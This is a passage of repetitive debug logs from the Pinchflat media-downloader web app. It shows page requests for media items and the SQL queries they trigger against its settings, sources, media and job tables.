s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:30:09.789 [debug] QUERY OK source="sources" db=1.3ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:30:09.813 [debug] QUERY OK source="oban_jobs" db=23.7ms idle=1.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2391] 08:30:09.814 [debug] QUERY OK source="settings" db=0.2ms idle=25.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:09.814 [debug] QUERY OK source="settings" db=0.1ms idle=25.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:09.816 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=26.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:09.818 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:09.822 [info] Sent 200 in 37ms 08:30:09.826 [debug] QUERY OK source="oban_jobs" db=36.8ms idle=2.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2380, 2462, 2552] 08:30:09.828 [debug] QUERY OK source="settings" db=0.2ms idle=12.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:09.828 [debug] QUERY OK source="settings" db=0.2ms idle=11.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:09.829 [debug] QUERY OK source="settings" db=0.2ms idle=10.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:09.830 [debug] QUERY OK source="media_profiles" db=0.2ms idle=12.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:09.834 [info] Sent 200 in 49ms 08:30:09.971 [info] GET /sources/1/media/89337/edit 08:30:09.971 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89337", "source_id" => "1"} Pipelines: [:browser] 08:30:09.972 [debug] QUERY OK source="media_items" db=0.3ms idle=145.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89337] 08:30:09.973 [debug] QUERY OK source="settings" db=0.2ms idle=144.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:09.973 [debug] QUERY OK source="settings" db=0.1ms idle=145.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:09.974 [debug] QUERY OK source="settings" db=0.2ms idle=144.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:09.976 [info] Sent 200 in 4ms 08:30:20.567 [info] GET /sources/1/media/89343 08:30:20.567 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89343", "source_id" => "1"} Pipelines: [:browser] 08:30:20.568 [debug] QUERY OK source="media_items" db=0.5ms idle=884.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89343] 08:30:20.569 [debug] QUERY OK source="tasks" db=0.3ms idle=885.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89343] 08:30:20.569 [debug] QUERY OK source="sources" db=0.5ms idle=885.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:30:20.570 [debug] QUERY OK source="settings" db=0.2ms idle=886.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:20.570 [debug] QUERY OK source="settings" db=0.2ms idle=731.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:20.571 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:20.572 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:20.576 [info] Sent 200 in 9ms 08:30:20.848 [info] GET /sources/1/media/89345/edit 08:30:20.848 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89345", "source_id" => "1"} Pipelines: [:browser] 08:30:20.849 [debug] QUERY OK source="media_items" db=0.3ms idle=278.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89345] 08:30:20.850 [debug] QUERY OK source="settings" db=0.2ms idle=279.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:20.850 [debug] QUERY OK source="settings" db=0.2ms idle=278.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:20.851 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=278.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:20.853 [info] Sent 200 in 5ms 08:30:21.348 [info] GET /sources/1/media/89344 08:30:21.349 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89344", "source_id" => "1"} Pipelines: [:browser] 08:30:21.350 [debug] QUERY OK source="media_items" db=0.4ms idle=509.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89344] 08:30:21.351 [debug] QUERY OK source="tasks" db=0.5ms idle=501.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89344] 08:30:21.352 [debug] QUERY OK source="sources" db=0.9ms idle=501.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:30:21.352 [debug] QUERY OK source="settings" db=0.2ms idle=501.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:21.353 [debug] QUERY OK source="settings" db=0.2ms idle=501.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:21.354 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:30:21.355 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:21.358 [info] Sent 200 in 9ms 08:30:38.845 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.608 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:31:03.351 [info] GET /sources/1/media/89336 08:31:03.351 [info] GET /sources/1/media/89338 08:31:03.351 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89338", "source_id" => "1"} Pipelines: [:browser] 08:31:03.351 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89336", "source_id" => "1"} Pipelines: [:browser] 08:31:03.353 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1425.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89338] 08:31:03.353 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=668.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89336] 08:31:03.354 [debug] QUERY OK source="tasks" db=0.3ms queue=0.2ms idle=670.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89338] 08:31:03.355 [debug] QUERY OK source="tasks" db=0.8ms idle=425.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89336] 08:31:03.355 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=670.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:31:03.355 [debug] QUERY OK source="sources" db=1.0ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:31:03.356 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=2.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2379, 2461, 2551] 08:31:03.357 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=1.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2389, 2474, 2559] 08:31:03.359 [debug] QUERY OK source="settings" db=0.5ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:03.359 [debug] QUERY OK source="settings" db=0.5ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:03.360 [debug] QUERY OK source="settings" db=0.6ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:03.360 [debug] QUERY OK source="settings" db=0.7ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:03.361 [debug] QUERY OK source="settings" db=0.5ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:03.361 [debug] QUERY OK source="settings" db=0.6ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:03.364 [debug] QUERY OK source="media_profiles" db=0.8ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:31:03.364 [debug] QUERY OK source="media_profiles" db=1.0ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:31:03.367 [info] Sent 200 in 16ms 08:31:03.367 [info] Sent 200 in 16ms 08:31:03.606 [info] GET /sources/1/media/89340/edit 08:31:03.606 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89340", "source_id" => "1"} Pipelines: [:browser] 08:31:03.607 [debug] QUERY OK source="media_items" db=0.4ms idle=246.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89340] 08:31:03.608 [debug] QUERY OK source="settings" db=0.2ms idle=246.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:03.608 [debug] QUERY OK source="settings" db=0.2ms idle=246.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:03.609 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=245.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:03.611 [info] Sent 200 in 5ms 08:31:08.847 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:13.343 [info] GET /sources/1/media/89341/edit 08:31:13.343 [info] GET /sources/1/media/89343/edit 08:31:13.343 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89341", "source_id" => "1"} Pipelines: [:browser] 08:31:13.343 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89343", "source_id" => "1"} Pipelines: [:browser] 08:31:13.344 [debug] QUERY OK source="media_items" db=0.9ms idle=660.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89343] 08:31:13.344 [debug] QUERY OK source="media_items" db=0.9ms idle=660.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", 